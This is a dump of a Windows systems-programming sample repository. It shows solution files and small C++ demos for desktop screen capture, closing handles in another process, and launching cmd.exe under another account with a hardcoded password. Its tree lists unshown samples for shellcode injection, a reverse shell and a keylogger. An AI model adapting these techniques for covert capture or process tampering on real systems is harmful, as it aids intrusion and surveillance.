├── .gitignore
├── BitsDemo
├── BitsDemo.sln
└── BitsDemo
│ ├── BitsDemo.cpp
│ ├── BitsDemo.vcxproj
│ └── BitsDemo.vcxproj.filters
├── CaptureWindow
├── CaptureWindow.sln
└── CaptureWindow
│ ├── CaptureWindow.cpp
│ ├── CaptureWindow.vcxproj
│ └── CaptureWindow.vcxproj.filters
├── CloseHandle
├── CloseHandle.sln
└── CloseHandle
│ ├── CloseHandle.cpp
│ ├── CloseHandle.vcxproj
│ └── CloseHandle.vcxproj.filters
├── ComCreate
├── ComCreate.sln
└── ComCreate
│ ├── ComCreate.cpp
│ ├── ComCreate.vcxproj
│ └── ComCreate.vcxproj.filters
├── CreateProcessMatch
├── CreateProcess
│ ├── CreateProcess.cpp
│ ├── CreateProcess.vcxproj
│ └── CreateProcess.vcxproj.filters
└── CreateProcessMatch.sln
├── CreateStreams
├── CreateStreams.sln
└── CreateStreams
│ ├── CreateStreams.cpp
│ ├── CreateStreams.vcxproj
│ └── CreateStreams.vcxproj.filters
├── CreateWithParent
├── CreateWithParent.sln
└── CreateWithParent
│ ├── CreateWithParent.cpp
│ ├── CreateWithParent.vcxproj
│ └── CreateWithParent.vcxproj.filters
├── DevAccess
├── DevAccess.sln
└── DevAccess
│ ├── DevAccess.cpp
│ ├── DevAccess.vcxproj
│ └── DevAccess.vcxproj.filters
├── DllIconHandler
├── DllIconHandler.sln
└── DllIconHandler
│ ├── BitnessIconHandler.cpp
│ ├── BitnessIconHandler.h
│ ├── BitnessIconHandler.rgs
│ ├── DllIconHandler.cpp
│ ├── DllIconHandler.def
│ ├── DllIconHandler.idl
│ ├── DllIconHandler.rc
│ ├── DllIconHandler.rgs
│ ├── DllIconHandler.vcxproj
│ ├── DllIconHandler.vcxproj.filters
│ ├── DllIconHandler_i.h
│ ├── Resource.h
│ ├── dllmain.cpp
│ ├── dllmain.h
│ ├── framework.h
│ ├── pch.cpp
│ ├── pch.h
│ ├── platform-32bits.ico
│ ├── platform-64bits.ico
│ ├── targetver.h
│ ├── xdlldata.c
│ └── xdlldata.h
├── EndTask
├── Close
│ ├── Close.cpp
│ ├── Close.vcxproj
│ └── Close.vcxproj.filters
├── EndTask.sln
└── Kill
│ ├── Kill.cpp
│ ├── Kill.vcxproj
│ └── Kill.vcxproj.filters
├── EnumModules
├── EnumModules.sln
└── EnumModules
│ ├── EnumModules.cpp
│ ├── EnumModules.vcxproj
│ └── EnumModules.vcxproj.filters
├── HangApp
├── HangApp.sln
└── HangApp
│ ├── HangApp.cpp
│ ├── HangApp.h
│ ├── HangApp.rc
│ ├── HangApp.vcxproj
│ ├── HangApp.vcxproj.filters
│ ├── MainDlg.cpp
│ ├── MainDlg.h
│ ├── res
│ └── HangApp.ico
│ ├── resource.h
│ ├── stdafx.cpp
│ └── stdafx.h
├── HelloAssembly
├── HelloAssembly.sln
└── HelloAssembly
│ ├── Hello.asm
│ ├── HelloAssembly.vcxproj
│ └── HelloAssembly.vcxproj.filters
├── Injection
├── APCInjector
│ ├── APCInjector.cpp
│ ├── APCInjector.vcxproj
│ └── APCInjector.vcxproj.filters
├── InjectShellcode
│ ├── InjectShellcode.cpp
│ ├── InjectShellcode.vcxproj
│ └── InjectShellcode.vcxproj.filters
├── Injection.sln
├── Injector
│ ├── Injector.cpp
│ ├── Injector.vcxproj
│ └── Injector.vcxproj.filters
└── SimpleDll
│ ├── SimpleDll.cpp
│ ├── SimpleDll.h
│ ├── SimpleDll.vcxproj
│ ├── SimpleDll.vcxproj.filters
│ ├── cpp.hint
│ ├── dllmain.cpp
│ └── framework.h
├── Iocp
├── Iocp.sln
├── Iocp
│ ├── Iocp.cpp
│ ├── Iocp.vcxproj
│ └── Iocp.vcxproj.filters
└── Runaway
│ ├── Runaway.cpp
│ ├── Runaway.vcxproj
│ └── Runaway.vcxproj.filters
├── JobPlay
├── JobPlay.sln
└── JobPlay
│ ├── JobPlay.cpp
│ ├── JobPlay.vcxproj
│ └── JobPlay.vcxproj.filters
├── LICENSE
├── MaxHandles
├── MaxHandles.sln
└── MaxHandles
│ ├── MaxHandles.cpp
│ ├── MaxHandles.vcxproj
│ └── MaxHandles.vcxproj.filters
├── MemResCom
├── MemResCom.sln
└── MemResCom
│ ├── MemResCom.cpp
│ ├── MemResCom.vcxproj
│ └── MemResCom.vcxproj.filters
├── PrimesCounter
├── PrimesCounter.sln
└── PrimesCounter
│ ├── PrimesCounter.cpp
│ ├── PrimesCounter.vcxproj
│ └── PrimesCounter.vcxproj.filters
├── ProcList
├── NtProcList
│ ├── NtProcList.cpp
│ ├── NtProcList.vcxproj
│ └── NtProcList.vcxproj.filters
├── ProcList.sln
└── ProcList
│ ├── ProcList.cpp
│ ├── ProcList.vcxproj
│ └── ProcList.vcxproj.filters
├── ProcNotify
├── KProcNotify
│ ├── KProcNotify.cpp
│ ├── KProcNotify.vcxproj
│ ├── KProcNotify.vcxproj.filters
│ └── ProcNotifyShared.h
├── ProcNotify.sln
└── ProcNotify
│ ├── ProcNotify.cpp
│ ├── ProcNotify.vcxproj
│ └── ProcNotify.vcxproj.filters
├── README.md
├── RPNCalculator
├── RPNCalcSvr
│ ├── RPNCalc.cpp
│ ├── RPNCalc.h
│ ├── RPNCalcCF.cpp
│ ├── RPNCalcCF.h
│ ├── RPNCalcSvr.cpp
│ ├── RPNCalcSvr.def
│ ├── RPNCalcSvr.h
│ ├── RPNCalcSvr.vcxproj
│ ├── RPNCalcSvr.vcxproj.filters
│ ├── cpp.hint
│ ├── dllmain.cpp
│ ├── pch.cpp
│ └── pch.h
├── RPNCalculator.sln
├── TestCalc
│ ├── TestCalc.cpp
│ ├── TestCalc.vcxproj
│ └── TestCalc.vcxproj.filters
└── TestManaged
│ ├── App.config
│ ├── Program.cs
│ ├── Properties
│ └── AssemblyInfo.cs
│ └── TestManaged.csproj
├── ReverseShell
├── Local
│ ├── Local.cpp
│ ├── Local.vcxproj
│ └── Local.vcxproj.filters
├── Remote
│ ├── Remote.cpp
│ ├── Remote.vcxproj
│ └── Remote.vcxproj.filters
└── ReverseShell.sln
├── RunAsSystem
└── RunAsSystem
│ ├── RunAsSystem.cpp
│ ├── RunAsSystem.vcxproj
│ └── RunAsSystem.vcxproj.filters
├── RunDll
├── RunDll.sln
└── Simple
│ ├── Simple.cpp
│ ├── Simple.h
│ ├── Simple.vcxproj
│ ├── Simple.vcxproj.filters
│ ├── cpp.hint
│ ├── dllmain.cpp
│ └── framework.h
├── RunLow
├── RunLow.sln
└── RunLow
│ ├── RunLow.cpp
│ ├── RunLow.vcxproj
│ └── RunLow.vcxproj.filters
├── ScriptingHost
├── ScriptingHost.sln
└── SimpleHost
│ ├── ScriptHost.cpp
│ ├── ScriptHost.h
│ ├── SimpleHost.cpp
│ ├── SimpleHost.vcxproj
│ └── SimpleHost.vcxproj.filters
├── SharedMem
├── SharedMem.sln
└── SharedMem
│ ├── MainDlg.cpp
│ ├── MainDlg.h
│ ├── SharedMem.cpp
│ ├── SharedMem.h
│ ├── SharedMem.rc
│ ├── SharedMem.vcxproj
│ ├── SharedMem.vcxproj.filters
│ ├── res
│ └── SharedMem.ico
│ ├── resource.h
│ ├── stdafx.cpp
│ └── stdafx.h
├── SimpleDbg
├── SimpleCdb
│ ├── Debugger.cpp
│ ├── Debugger.h
│ ├── SimpleCdb.cpp
│ ├── SimpleCdb.vcxproj
│ ├── SimpleCdb.vcxproj.filters
│ └── packages.config
├── SimpleDbg.sln
└── SimpleDbg
│ ├── SimpleDbg.cpp
│ ├── SimpleDbg.vcxproj
│ └── SimpleDbg.vcxproj.filters
├── SimpleHook
├── ConfigHook
│ ├── ConfigHook.cpp
│ ├── ConfigHook.vcxproj
│ └── ConfigHook.vcxproj.filters
├── HookDll
│ ├── HookDll.vcxproj
│ ├── HookDll.vcxproj.filters
│ ├── dllmain.cpp
│ ├── packages.config
│ ├── pch.cpp
│ └── pch.h
├── InjectDll
│ ├── InjectDll.cpp
│ ├── InjectDll.vcxproj
│ └── InjectDll.vcxproj.filters
├── InlineHooks.sln
└── WinApp
│ ├── WinApp.cpp
│ ├── WinApp.vcxproj
│ ├── WinApp.vcxproj.filters
│ └── packages.config
├── SimpleKeyLogger
├── SimpleKeyLogger.sln
└── SimpleKeyLogger
│ ├── SimpleKeyLogger.cpp
│ ├── SimpleKeyLogger.vcxproj
│ └── SimpleKeyLogger.vcxproj.filters
├── SimpleRPC
├── Client
│ ├── Client.cpp
│ ├── Client.vcxproj
│ └── Client.vcxproj.filters
├── Server
│ ├── Calculator.idl
│ ├── Calculator_c.c
│ ├── Calculator_s.c
│ ├── Server.cpp
│ ├── Server.vcxproj
│ └── Server.vcxproj.filters
└── SimpleRPC.sln
├── SimpleSharing
├── SimpleSharing.sln
└── SimpleSharing
│ ├── SimpleSharing.cpp
│ ├── SimpleSharing.vcxproj
│ └── SimpleSharing.vcxproj.filters
├── SimpleSvc
├── App
│ ├── App.cpp
│ ├── App.vcxproj
│ └── App.vcxproj.filters
├── SimpleSvc.sln
└── SimpleSvc
│ ├── Logger.h
│ ├── SimpleSvc.cpp
│ ├── SimpleSvc.vcxproj
│ └── SimpleSvc.vcxproj.filters
├── Single
├── Single.sln
└── Single
│ ├── Single.cpp
│ ├── Single.vcxproj
│ └── Single.vcxproj.filters
├── TypesExt
├── TypesExt.sln
└── TypesExt
│ ├── Types.cpp
│ ├── TypesExt.def
│ ├── TypesExt.vcxproj
│ ├── TypesExt.vcxproj.filters
│ ├── dllmain.cpp
│ └── framework.h
├── WinApp
├── WinApp.sln
└── WinApp
│ ├── WinApp.cpp
│ ├── WinApp.vcxproj
│ └── WinApp.vcxproj.filters
├── WinHookInject
├── Injected
│ ├── Injected.def
│ ├── Injected.vcxproj
│ ├── Injected.vcxproj.filters
│ ├── dllmain.cpp
│ ├── pch.cpp
│ └── pch.h
├── Injector
│ ├── Injector.cpp
│ ├── Injector.vcxproj
│ └── Injector.vcxproj.filters
└── WinHookInject.sln
└── ddd
├── ddd.sln
└── ddd
├── ddd.cpp
├── ddd.vcxproj
└── ddd.vcxproj.filters
/BitsDemo/BitsDemo.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.14.35906.104 d17.14
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BitsDemo", "BitsDemo\BitsDemo.vcxproj", "{29853BCB-3194-46BE-8E67-FE29E0788D76}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {29853BCB-3194-46BE-8E67-FE29E0788D76}.Debug|x64.ActiveCfg = Debug|x64
17 | {29853BCB-3194-46BE-8E67-FE29E0788D76}.Debug|x64.Build.0 = Debug|x64
18 | {29853BCB-3194-46BE-8E67-FE29E0788D76}.Debug|x86.ActiveCfg = Debug|Win32
19 | {29853BCB-3194-46BE-8E67-FE29E0788D76}.Debug|x86.Build.0 = Debug|Win32
20 | {29853BCB-3194-46BE-8E67-FE29E0788D76}.Release|x64.ActiveCfg = Release|x64
21 | {29853BCB-3194-46BE-8E67-FE29E0788D76}.Release|x64.Build.0 = Release|x64
22 | {29853BCB-3194-46BE-8E67-FE29E0788D76}.Release|x86.ActiveCfg = Release|Win32
23 | {29853BCB-3194-46BE-8E67-FE29E0788D76}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {4CCDC0D6-8D9E-4FB6-A280-2C475EC504D4}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/BitsDemo/BitsDemo/BitsDemo.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/CaptureWindow/CaptureWindow.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.14.35906.104 d17.14
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CaptureWindow", "CaptureWindow\CaptureWindow.vcxproj", "{FFA7CB96-E9B7-4652-B9D7-32E78F01F031}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {FFA7CB96-E9B7-4652-B9D7-32E78F01F031}.Debug|x64.ActiveCfg = Debug|x64
17 | {FFA7CB96-E9B7-4652-B9D7-32E78F01F031}.Debug|x64.Build.0 = Debug|x64
18 | {FFA7CB96-E9B7-4652-B9D7-32E78F01F031}.Debug|x86.ActiveCfg = Debug|Win32
19 | {FFA7CB96-E9B7-4652-B9D7-32E78F01F031}.Debug|x86.Build.0 = Debug|Win32
20 | {FFA7CB96-E9B7-4652-B9D7-32E78F01F031}.Release|x64.ActiveCfg = Release|x64
21 | {FFA7CB96-E9B7-4652-B9D7-32E78F01F031}.Release|x64.Build.0 = Release|x64
22 | {FFA7CB96-E9B7-4652-B9D7-32E78F01F031}.Release|x86.ActiveCfg = Release|Win32
23 | {FFA7CB96-E9B7-4652-B9D7-32E78F01F031}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {26E437C3-F155-4EEC-A7CD-0F27A5A8D2C4}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CaptureWindow/CaptureWindow/CaptureWindow.cpp:
--------------------------------------------------------------------------------
1 | // CaptureWindow.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #pragma comment(lib, "shlwapi")
10 |
11 | HBITMAP CaptureWindow(HWND hWnd) {
12 | WINDOWINFO wi;
13 | GetWindowInfo(hWnd, &wi);
14 | RECT rc = wi.rcClient;
15 | //GetClientRect(hWnd, &rc);
16 | HDC hdc = GetDC(hWnd);
17 | HBITMAP hBmp = CreateCompatibleBitmap(hdc, rc.right, rc.bottom);
18 | HDC hdcMem = CreateCompatibleDC(hdc);
19 | SelectObject(hdcMem, hBmp);
20 | BitBlt(hdcMem, 0, 0, rc.right, rc.bottom, hdc, 0, 0, SRCCOPY);
21 | ReleaseDC(hWnd, hdc);
22 | DeleteDC(hdcMem);
23 |
24 | return hBmp;
25 | }
26 |
27 | bool SaveBitmap(HBITMAP hBmp, PCWSTR path) {
28 | CComPtr factory;
29 | auto hr = factory.CoCreateInstance(CLSID_WICImagingFactory);
30 | if (FAILED(hr))
31 | return false;
32 |
33 | CComPtr bitmap;
34 | hr = factory->CreateBitmapFromHBITMAP(hBmp, nullptr, WICBitmapIgnoreAlpha, &bitmap);
35 | ATLASSERT(SUCCEEDED(hr));
36 |
37 | CComPtr encoder;
38 | hr = factory->CreateEncoder(GUID_ContainerFormatPng, nullptr, &encoder);
39 | ATLASSERT(SUCCEEDED(hr));
40 |
41 | CComPtr stm;
42 | hr = SHCreateStreamOnFileEx(path, STGM_CREATE | STGM_WRITE | STGM_SHARE_EXCLUSIVE,
43 | 0, TRUE, nullptr, &stm);
44 | ATLASSERT(SUCCEEDED(hr));
45 |
46 | hr = encoder->Initialize(stm, WICBitmapEncoderNoCache);
47 | ATLASSERT(SUCCEEDED(hr));
48 |
49 | CComPtr frame;
50 | hr = encoder->CreateNewFrame(&frame, nullptr);
51 | ATLASSERT(SUCCEEDED(hr));
52 |
53 | frame->Initialize(nullptr);
54 | hr = frame->WriteSource(bitmap, nullptr);
55 | ATLASSERT(SUCCEEDED(hr));
56 |
57 | frame->Commit();
58 | encoder->Commit();
59 |
60 | return true;
61 | }
62 |
63 | int main() {
64 | CoInitialize(nullptr);
65 |
66 | auto hWnd = GetDesktopWindow();
67 | auto h = CaptureWindow(hWnd);
68 | SaveBitmap(h, L"d:\\temp\\images\\pic.png");
69 | return 0;
70 | }
71 |
--------------------------------------------------------------------------------
/CaptureWindow/CaptureWindow/CaptureWindow.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/CloseHandle/CloseHandle.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.33808.371
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CloseHandle", "CloseHandle\CloseHandle.vcxproj", "{D613550A-3CAE-45B4-AB10-A76B37E7A27F}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {D613550A-3CAE-45B4-AB10-A76B37E7A27F}.Debug|x64.ActiveCfg = Debug|x64
17 | {D613550A-3CAE-45B4-AB10-A76B37E7A27F}.Debug|x64.Build.0 = Debug|x64
18 | {D613550A-3CAE-45B4-AB10-A76B37E7A27F}.Debug|x86.ActiveCfg = Debug|Win32
19 | {D613550A-3CAE-45B4-AB10-A76B37E7A27F}.Debug|x86.Build.0 = Debug|Win32
20 | {D613550A-3CAE-45B4-AB10-A76B37E7A27F}.Release|x64.ActiveCfg = Release|x64
21 | {D613550A-3CAE-45B4-AB10-A76B37E7A27F}.Release|x64.Build.0 = Release|x64
22 | {D613550A-3CAE-45B4-AB10-A76B37E7A27F}.Release|x86.ActiveCfg = Release|Win32
23 | {D613550A-3CAE-45B4-AB10-A76B37E7A27F}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {83AFD3AB-3678-4309-A084-109AE9BA58BB}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CloseHandle/CloseHandle/CloseHandle.cpp:
--------------------------------------------------------------------------------
1 | // CloseHandle.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 |
8 | int main(int argc, const char* argv[]) {
9 | if (argc < 3) {
10 | printf("Usage: CloseHandle \n");
11 | return 0;
12 | }
13 |
14 | int pid = strtol(argv[1], nullptr, 0);
15 | HANDLE handle = (HANDLE)(ULONG_PTR)strtol(argv[2], nullptr, 0);
16 |
17 | HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
18 | if (!hProcess) {
19 | printf("Error opening process (%u)\n", GetLastError());
20 | return 1;
21 | }
22 |
23 | if (DuplicateHandle(hProcess, handle, nullptr, nullptr,
24 | 0, FALSE, DUPLICATE_CLOSE_SOURCE)) {
25 | printf("Success!\n");
26 | }
27 | else {
28 | printf("Error duplicating handle (%u)\n", GetLastError());
29 | }
30 | CloseHandle(hProcess);
31 | return 0;
32 | }
33 |
--------------------------------------------------------------------------------
/CloseHandle/CloseHandle/CloseHandle.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ComCreate/ComCreate.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.11.35103.136
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ComCreate", "ComCreate\ComCreate.vcxproj", "{8BC7F1EC-010B-4CEC-8815-BEFC14E90548}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {8BC7F1EC-010B-4CEC-8815-BEFC14E90548}.Debug|x64.ActiveCfg = Debug|x64
17 | {8BC7F1EC-010B-4CEC-8815-BEFC14E90548}.Debug|x64.Build.0 = Debug|x64
18 | {8BC7F1EC-010B-4CEC-8815-BEFC14E90548}.Debug|x86.ActiveCfg = Debug|Win32
19 | {8BC7F1EC-010B-4CEC-8815-BEFC14E90548}.Debug|x86.Build.0 = Debug|Win32
20 | {8BC7F1EC-010B-4CEC-8815-BEFC14E90548}.Release|x64.ActiveCfg = Release|x64
21 | {8BC7F1EC-010B-4CEC-8815-BEFC14E90548}.Release|x64.Build.0 = Release|x64
22 | {8BC7F1EC-010B-4CEC-8815-BEFC14E90548}.Release|x86.ActiveCfg = Release|Win32
23 | {8BC7F1EC-010B-4CEC-8815-BEFC14E90548}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {521ADB38-2DAD-4B97-88B9-8E2AD3DB1693}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/ComCreate/ComCreate/ComCreate.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/CreateProcessMatch/CreateProcess/CreateProcess.cpp:
--------------------------------------------------------------------------------
1 | // CreateProcess.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | DWORD CreateProcessAsUserDemo(PCWSTR username, PCWSTR password, PWSTR exe) {
8 | HANDLE hToken;
9 | if (!LogonUser(username, L".", password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken))
10 | return 0;
11 |
12 | STARTUPINFO si = { sizeof(si) };
13 | PROCESS_INFORMATION pi;
14 | if (CreateProcessAsUser(hToken, nullptr, exe, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi)) {
15 | CloseHandle(pi.hThread);
16 | CloseHandle(pi.hProcess);
17 | }
18 | return pi.dwProcessId;
19 | }
20 |
21 | DWORD CreateProcessWithTokenDemo(PCWSTR username, PCWSTR password, PWSTR exe) {
22 | STARTUPINFO si = { sizeof(si) };
23 | PROCESS_INFORMATION pi;
24 | if (CreateProcessWithLogonW(username, L".", password, 0, nullptr, exe, 0,
25 | nullptr, nullptr, &si, &pi)) {
26 | CloseHandle(pi.hThread);
27 | CloseHandle(pi.hProcess);
28 | }
29 | return pi.dwProcessId;
30 | }
31 |
32 | int main() {
33 | WCHAR name[] = L"cmd.exe";
34 | DWORD pid = CreateProcessWithTokenDemo(L"alice", L"123456", name);
35 | if (pid)
36 | printf("PID: %u\n", pid);
37 |
38 | return 0;
39 | }
40 |
--------------------------------------------------------------------------------
/CreateProcessMatch/CreateProcess/CreateProcess.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/CreateProcessMatch/CreateProcessMatch.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.13.35605.110 d17.13
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateProcess", "CreateProcess\CreateProcess.vcxproj", "{CCA3B561-1048-43B0-B81B-74BE42AD7F41}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {CCA3B561-1048-43B0-B81B-74BE42AD7F41}.Debug|x64.ActiveCfg = Debug|x64
17 | {CCA3B561-1048-43B0-B81B-74BE42AD7F41}.Debug|x64.Build.0 = Debug|x64
18 | {CCA3B561-1048-43B0-B81B-74BE42AD7F41}.Debug|x86.ActiveCfg = Debug|Win32
19 | {CCA3B561-1048-43B0-B81B-74BE42AD7F41}.Debug|x86.Build.0 = Debug|Win32
20 | {CCA3B561-1048-43B0-B81B-74BE42AD7F41}.Release|x64.ActiveCfg = Release|x64
21 | {CCA3B561-1048-43B0-B81B-74BE42AD7F41}.Release|x64.Build.0 = Release|x64
22 | {CCA3B561-1048-43B0-B81B-74BE42AD7F41}.Release|x86.ActiveCfg = Release|Win32
23 | {CCA3B561-1048-43B0-B81B-74BE42AD7F41}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {E761671A-9A97-48CA-8F4A-F50034F7E8D9}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CreateStreams/CreateStreams.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.12.35424.110 d17.12
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateStreams", "CreateStreams\CreateStreams.vcxproj", "{BB3FA49F-7EF2-451D-A5A1-7580B0EF5B9F}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
